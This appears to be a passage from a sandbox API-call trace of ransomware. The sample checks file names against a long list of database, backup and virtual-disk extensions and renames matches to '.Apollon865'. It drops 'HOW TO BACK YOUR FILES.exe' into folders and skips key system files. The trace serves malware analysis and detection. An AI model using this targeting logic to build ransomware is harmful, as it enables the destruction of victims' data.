	[0062.792] lstrcmpiW (lpString1="[1]", lpString2="gdb") returned -1
	[0062.792] lstrlenW (lpString="grdb") returned 4
	[0062.792] lstrcmpiW (lpString1="k[1]", lpString2="grdb") returned 1
	[0062.792] lstrlenW (lpString="gwi") returned 3
	[0062.792] lstrcmpiW (lpString1="[1]", lpString2="gwi") returned -1
	[0062.792] lstrlenW (lpString="hdb") returned 3
	[0062.792] lstrcmpiW (lpString1="[1]", lpString2="hdb") returned -1
	[0062.792] lstrlenW (lpString="his") returned 3
	[0062.792] lstrcmpiW (lpString1="[1]", lpString2="his") returned -1
	[0062.792] lstrlenW (lpString="ib") returned 2
	[0062.792] lstrcmpiW (lpString1="1]", lpString2="ib") returned -1
	[0062.792] lstrlenW (lpString="idb") returned 3
	[0062.792] lstrcmpiW (lpString1="[1]", lpString2="idb") returned -1
	[0062.792] lstrlenW (lpString="ihx") returned 3
	[0062.792] lstrcmpiW (lpString1="[1]", lpString2="ihx") returned -1
	[0062.792] lstrlenW (lpString="itdb") returned 4
	[0062.792] lstrcmpiW (lpString1="k[1]", lpString2="itdb") returned 1
	[0062.792] lstrlenW (lpString="itw") returned 3
	[0062.792] lstrcmpiW (lpString1="[1]", lpString2="itw") returned -1
	[0062.792] lstrlenW (lpString="jet") returned 3
	[0062.792] lstrcmpiW (lpString1="[1]", lpString2="jet") returned -1
	[0062.792] lstrlenW (lpString="jtx") returned 3
	[0062.792] lstrcmpiW (lpString1="[1]", lpString2="jtx") returned -1
	[0062.792] lstrlenW (lpString="kdb") returned 3
	[0062.792] lstrcmpiW (lpString1="[1]", lpString2="kdb") returned -1
	[0062.792] lstrlenW (lpString="kexi") returned 4
	[0062.793] lstrcmpiW (lpString1="k[1]", lpString2="kexi") returned -1
	[0062.793] lstrlenW (lpString="kexic") returned 5
	[0062.793] lstrcmpiW (lpString1="nk[1]", lpString2="kexic") returned 1
	[0062.793] lstrlenW (lpString="kexis") returned 5
	[0062.793] lstrcmpiW (lpString1="nk[1]", lpString2="kexis") returned 1
	[0062.793] lstrlenW (lpString="lgc") returned 3
	[0062.793] lstrcmpiW (lpString1="[1]", lpString2="lgc") returned -1
	[0062.793] lstrlenW (lpString="lwx") returned 3
	[0062.793] lstrcmpiW (lpString1="[1]", lpString2="lwx") returned -1
	[0062.793] lstrlenW (lpString="maf") returned 3
	[0062.793] lstrcmpiW (lpString1="[1]", lpString2="maf") returned -1
	[0062.793] lstrlenW (lpString="maq") returned 3
	[0062.793] lstrcmpiW (lpString1="[1]", lpString2="maq") returned -1
	[0062.793] lstrlenW (lpString="mar") returned 3
	[0062.793] lstrcmpiW (lpString1="[1]", lpString2="mar") returned -1
	[0062.793] lstrlenW (lpString="marshal") returned 7
	[0062.793] lstrcmpiW (lpString1="link[1]", lpString2="marshal") returned -1
	[0062.793] lstrlenW (lpString="mas") returned 3
	[0062.793] lstrcmpiW (lpString1="[1]", lpString2="mas") returned -1
	[0062.793] lstrlenW (lpString="mav") returned 3
	[0062.793] lstrcmpiW (lpString1="[1]", lpString2="mav") returned -1
	[0062.793] lstrlenW (lpString="maw") returned 3
	[0062.793] lstrcmpiW (lpString1="[1]", lpString2="maw") returned -1
	[0062.793] lstrlenW (lpString="mdbhtml") returned 7
	[0062.793] lstrcmpiW (lpString1="link[1]", lpString2="mdbhtml") returned -1
	[0062.793] lstrlenW (lpString="mdn") returned 3
	[0062.793] lstrcmpiW (lpString1="[1]", lpString2="mdn") returned -1
	[0062.793] lstrlenW (lpString="mdt") returned 3
	[0062.793] lstrcmpiW (lpString1="[1]", lpString2="mdt") returned -1
	[0062.793] lstrlenW (lpString="mfd") returned 3
	[0062.793] lstrcmpiW (lpString1="[1]", lpString2="mfd") returned -1
	[0062.793] lstrlenW (lpString="mpd") returned 3
	[0062.793] lstrcmpiW (lpString1="[1]", lpString2="mpd") returned -1
	[0062.793] lstrlenW (lpString="mrg") returned 3
	[0062.794] lstrcmpiW (lpString1="[1]", lpString2="mrg") returned -1
	[0062.794] lstrlenW (lpString="mud") returned 3
	[0062.794] lstrcmpiW (lpString1="[1]", lpString2="mud") returned -1
	[0062.794] lstrlenW (lpString="mwb") returned 3
	[0062.794] lstrcmpiW (lpString1="[1]", lpString2="mwb") returned -1
	[0062.794] lstrlenW (lpString="myd") returned 3
	[0062.794] lstrcmpiW (lpString1="[1]", lpString2="myd") returned -1
	[0062.794] lstrlenW (lpString="ndf") returned 3
	[0062.794] lstrcmpiW (lpString1="[1]", lpString2="ndf") returned -1
	[0062.794] lstrlenW (lpString="nnt") returned 3
	[0062.794] lstrcmpiW (lpString1="[1]", lpString2="nnt") returned -1
	[0062.794] lstrlenW (lpString="nrmlib") returned 6
	[0062.794] lstrcmpiW (lpString1="ink[1]", lpString2="nrmlib") returned -1
	[0062.794] lstrlenW (lpString="ns2") returned 3
	[0062.794] lstrcmpiW (lpString1="[1]", lpString2="ns2") returned -1
	[0062.794] lstrlenW (lpString="ns3") returned 3
	[0062.794] lstrcmpiW (lpString1="[1]", lpString2="ns3") returned -1
	[0062.794] lstrlenW (lpString="ns4") returned 3
	[0062.794] lstrcmpiW (lpString1="[1]", lpString2="ns4") returned -1
	[0062.794] lstrlenW (lpString="nsf") returned 3
	[0062.794] lstrcmpiW (lpString1="[1]", lpString2="nsf") returned -1
	[0062.794] lstrlenW (lpString="nv") returned 2
	[0062.794] lstrcmpiW (lpString1="1]", lpString2="nv") returned -1
	[0062.794] lstrlenW (lpString="nv2") returned 3
	[0062.794] lstrcmpiW (lpString1="[1]", lpString2="nv2") returned -1
	[0062.794] lstrlenW (lpString="nwdb") returned 4
	[0062.794] lstrcmpiW (lpString1="k[1]", lpString2="nwdb") returned -1
	[0062.794] lstrlenW (lpString="nyf") returned 3
	[0062.794] lstrcmpiW (lpString1="[1]", lpString2="nyf") returned -1
	[0062.794] lstrlenW (lpString="odb") returned 3
	[0062.794] lstrcmpiW (lpString1="[1]", lpString2="odb") returned -1
	[0062.794] lstrlenW (lpString="odb") returned 3
	[0062.794] lstrcmpiW (lpString1="[1]", lpString2="odb") returned -1
	[0062.795] lstrlenW (lpString="oqy") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="oqy") returned -1
	[0062.795] lstrlenW (lpString="ora") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="ora") returned -1
	[0062.795] lstrlenW (lpString="orx") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="orx") returned -1
	[0062.795] lstrlenW (lpString="owc") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="owc") returned -1
	[0062.795] lstrlenW (lpString="p96") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="p96") returned -1
	[0062.795] lstrlenW (lpString="p97") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="p97") returned -1
	[0062.795] lstrlenW (lpString="pan") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="pan") returned -1
	[0062.795] lstrlenW (lpString="pdb") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="pdb") returned -1
	[0062.795] lstrlenW (lpString="pdm") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="pdm") returned -1
	[0062.795] lstrlenW (lpString="pnz") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="pnz") returned -1
	[0062.795] lstrlenW (lpString="qry") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="qry") returned -1
	[0062.795] lstrlenW (lpString="qvd") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="qvd") returned -1
	[0062.795] lstrlenW (lpString="rbf") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="rbf") returned -1
	[0062.795] lstrlenW (lpString="rctd") returned 4
	[0062.795] lstrcmpiW (lpString1="k[1]", lpString2="rctd") returned -1
	[0062.795] lstrlenW (lpString="rod") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="rod") returned -1
	[0062.795] lstrlenW (lpString="rodx") returned 4
	[0062.795] lstrcmpiW (lpString1="k[1]", lpString2="rodx") returned -1
	[0062.795] lstrlenW (lpString="rpd") returned 3
	[0062.795] lstrcmpiW (lpString1="[1]", lpString2="rpd") returned -1
	[0062.796] lstrlenW (lpString="rsd") returned 3
	[0062.796] lstrcmpiW (lpString1="[1]", lpString2="rsd") returned -1
	[0062.796] lstrlenW (lpString="sas7bdat") returned 8
	[0062.796] lstrcmpiW (lpString1="wlink[1]", lpString2="sas7bdat") returned 1
	[0062.796] lstrlenW (lpString="sbf") returned 3
	[0062.796] lstrcmpiW (lpString1="[1]", lpString2="sbf") returned -1
	[0062.796] lstrlenW (lpString="scx") returned 3
	[0062.796] lstrcmpiW (lpString1="[1]", lpString2="scx") returned -1
	[0062.796] lstrlenW (lpString="sdb") returned 3
	[0062.796] lstrcmpiW (lpString1="[1]", lpString2="sdb") returned -1
	[0062.796] lstrlenW (lpString="sdc") returned 3
	[0062.796] lstrcmpiW (lpString1="[1]", lpString2="sdc") returned -1
	[0062.796] lstrlenW (lpString="sdf") returned 3
	[0062.796] lstrcmpiW (lpString1="[1]", lpString2="sdf") returned -1
	[0062.796] lstrlenW (lpString="sis") returned 3
	[0062.796] lstrcmpiW (lpString1="[1]", lpString2="sis") returned -1
	[0062.796] lstrlenW (lpString="spq") returned 3
	[0062.796] lstrcmpiW (lpString1="[1]", lpString2="spq") returned -1
	[0062.796] lstrlenW (lpString="te") returned 2
	[0062.796] lstrcmpiW (lpString1="1]", lpString2="te") returned -1
	[0062.796] lstrlenW (lpString="teacher") returned 7
	[0062.796] lstrcmpiW (lpString1="link[1]", lpString2="teacher") returned -1
	[0062.796] lstrlenW (lpString="tmd") returned 3
	[0062.796] lstrcmpiW (lpString1="[1]", lpString2="tmd") returned -1
	[0062.796] lstrlenW (lpString="tps") returned 3
	[0062.796] lstrcmpiW (lpString1="[1]", lpString2="tps") returned -1
	[0062.796] lstrlenW (lpString="trc") returned 3
	[0062.796] lstrcmpiW (lpString1="[1]", lpString2="trc") returned -1
	[0062.796] lstrlenW (lpString="trc") returned 3
	[0062.796] lstrcmpiW (lpString1="[1]", lpString2="trc") returned -1
	[0062.796] lstrlenW (lpString="trm") returned 3
	[0062.796] lstrcmpiW (lpString1="[1]", lpString2="trm") returned -1
	[0062.796] lstrlenW (lpString="udb") returned 3
	[0062.796] lstrcmpiW (lpString1="[1]", lpString2="udb") returned -1
	[0062.797] lstrlenW (lpString="udl") returned 3
	[0062.797] lstrcmpiW (lpString1="[1]", lpString2="udl") returned -1
	[0062.797] lstrlenW (lpString="usr") returned 3
	[0062.797] lstrcmpiW (lpString1="[1]", lpString2="usr") returned -1
	[0062.797] lstrlenW (lpString="v12") returned 3
	[0062.797] lstrcmpiW (lpString1="[1]", lpString2="v12") returned -1
	[0062.797] lstrlenW (lpString="vis") returned 3
	[0062.797] lstrcmpiW (lpString1="[1]", lpString2="vis") returned -1
	[0062.797] lstrlenW (lpString="vpd") returned 3
	[0062.797] lstrcmpiW (lpString1="[1]", lpString2="vpd") returned -1
	[0062.797] lstrlenW (lpString="vvv") returned 3
	[0062.797] lstrcmpiW (lpString1="[1]", lpString2="vvv") returned -1
	[0062.797] lstrlenW (lpString="wdb") returned 3
	[0062.797] lstrcmpiW (lpString1="[1]", lpString2="wdb") returned -1
	[0062.797] lstrlenW (lpString="wmdb") returned 4
	[0062.797] lstrcmpiW (lpString1="k[1]", lpString2="wmdb") returned -1
	[0062.797] lstrlenW (lpString="wrk") returned 3
	[0062.797] lstrcmpiW (lpString1="[1]", lpString2="wrk") returned -1
	[0062.797] lstrlenW (lpString="xdb") returned 3
	[0062.797] lstrcmpiW (lpString1="[1]", lpString2="xdb") returned -1
	[0062.797] lstrlenW (lpString="xld") returned 3
	[0062.797] lstrcmpiW (lpString1="[1]", lpString2="xld") returned -1
	[0062.797] lstrlenW (lpString="xmlff") returned 5
	[0062.797] lstrcmpiW (lpString1="nk[1]", lpString2="xmlff") returned -1
	[0062.797] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1].Apollon865") returned 82
	[0062.797] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1]"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1].Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1].apollon865"), dwFlags=0x1) returned 1
	[0062.798] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1].Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1].apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0062.798] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=0) returned 1
	[0062.798] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0062.798] CloseHandle (hObject=0x0) returned 0
	[0062.798] CloseHandle (hObject=0x118) returned 1
	[0062.798] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2345f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.798] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.798] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2345f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0062.798] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.799] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a70
	[0062.799] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ"
	[0062.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0062.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0062.799] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ") returned 61
	[0062.799] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ"
	[0062.799] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.799] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0062.799] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0062.799] GetLastError () returned 0x0
	[0062.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0062.799] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0062.800] CloseHandle (hObject=0x15c) returned 1
	[0062.800] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0062.800] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.800] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2345f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.800] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.800] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.800] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.800] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2345f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.800] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.800] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.800] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.800] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.800] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0062.800] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.800] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0062.800] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0062.800] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0062.800] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0062.800] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0062.800] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0062.800] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0062.800] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0062.800] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0062.800] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0062.801] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0062.801] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0062.801] lstrlenW (lpString="desktop.ini") returned 11
	[0062.801] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*") returned 63
	[0062.801] lstrcpyW (in: lpString1=0x119e684, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0062.801] lstrlenW (lpString="desktop.ini") returned 11
	[0062.801] lstrlenW (lpString="Apollon865") returned 10
	[0062.801] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0062.801] lstrlenW (lpString=".dll") returned 4
	[0062.801] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0062.801] lstrlenW (lpString=".lnk") returned 4
	[0062.801] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0062.801] lstrlenW (lpString=".ini") returned 4
	[0062.801] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0062.801] lstrlenW (lpString=".sys") returned 4
	[0062.801] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0062.801] lstrlenW (lpString="desktop.ini") returned 11
	[0062.801] lstrlenW (lpString="bak") returned 3
	[0062.801] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0062.801] lstrlenW (lpString="ba_") returned 3
	[0062.801] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0062.801] lstrlenW (lpString="dbb") returned 3
	[0062.801] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0062.801] lstrlenW (lpString="vmdk") returned 4
	[0062.801] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0062.801] lstrlenW (lpString="rar") returned 3
	[0062.801] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0062.801] lstrlenW (lpString="zip") returned 3
	[0062.801] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0062.801] lstrlenW (lpString="tgz") returned 3
	[0062.801] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0062.801] lstrlenW (lpString="vbox") returned 4
	[0062.801] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0062.802] lstrlenW (lpString="vdi") returned 3
	[0062.802] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0062.802] lstrlenW (lpString="vhd") returned 3
	[0062.802] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0062.802] lstrlenW (lpString="vhdx") returned 4
	[0062.802] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0062.802] lstrlenW (lpString="avhd") returned 4
	[0062.802] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0062.802] lstrlenW (lpString="db") returned 2
	[0062.802] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0062.802] lstrlenW (lpString="db2") returned 3
	[0062.802] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0062.802] lstrlenW (lpString="db3") returned 3
	[0062.802] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0062.802] lstrlenW (lpString="dbf") returned 3
	[0062.802] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0062.802] lstrlenW (lpString="mdf") returned 3
	[0062.802] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0062.802] lstrlenW (lpString="mdb") returned 3
	[0062.802] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0062.802] lstrlenW (lpString="sql") returned 3
	[0062.802] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0062.802] lstrlenW (lpString="sqlite") returned 6
	[0062.802] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0062.802] lstrlenW (lpString="sqlite3") returned 7
	[0062.802] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0062.802] lstrlenW (lpString="sqlitedb") returned 8
	[0062.802] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0062.802] lstrlenW (lpString="xml") returned 3
	[0062.802] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0062.802] lstrlenW (lpString="$er") returned 3
	[0062.802] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0062.802] lstrlenW (lpString="4dd") returned 3
	[0062.802] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0062.803] lstrlenW (lpString="4dl") returned 3
	[0062.803] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0062.803] lstrlenW (lpString="^^^") returned 3
	[0062.803] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0062.803] lstrlenW (lpString="abs") returned 3
	[0062.803] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0062.803] lstrlenW (lpString="abx") returned 3
	[0062.803] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0062.803] lstrlenW (lpString="accdb") returned 5
	[0062.803] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0062.803] lstrlenW (lpString="accdc") returned 5
	[0062.803] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0062.803] lstrlenW (lpString="accde") returned 5
	[0062.803] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0062.803] lstrlenW (lpString="accdr") returned 5
	[0062.803] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0062.803] lstrlenW (lpString="accdt") returned 5
	[0062.803] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0062.803] lstrlenW (lpString="accdw") returned 5
	[0062.803] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0062.803] lstrlenW (lpString="accft") returned 5
	[0062.803] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0062.803] lstrlenW (lpString="adb") returned 3
	[0062.803] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0062.803] lstrlenW (lpString="adb") returned 3
	[0062.803] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0062.803] lstrlenW (lpString="ade") returned 3
	[0062.803] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0062.803] lstrlenW (lpString="adf") returned 3
	[0062.803] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0062.803] lstrlenW (lpString="adn") returned 3
	[0062.803] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0062.803] lstrlenW (lpString="adp") returned 3
	[0062.803] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0062.803] lstrlenW (lpString="alf") returned 3
	[0062.804] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0062.804] lstrlenW (lpString="ask") returned 3
	[0062.804] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0062.804] lstrlenW (lpString="btr") returned 3
	[0062.804] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0062.804] lstrlenW (lpString="cat") returned 3
	[0062.804] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0062.804] lstrlenW (lpString="cdb") returned 3
	[0062.804] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0062.804] lstrlenW (lpString="ckp") returned 3
	[0062.804] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0062.804] lstrlenW (lpString="cma") returned 3
	[0062.804] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0062.804] lstrlenW (lpString="cpd") returned 3
	[0062.804] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0062.804] lstrlenW (lpString="dacpac") returned 6
	[0062.804] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0062.804] lstrlenW (lpString="dad") returned 3
	[0062.804] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
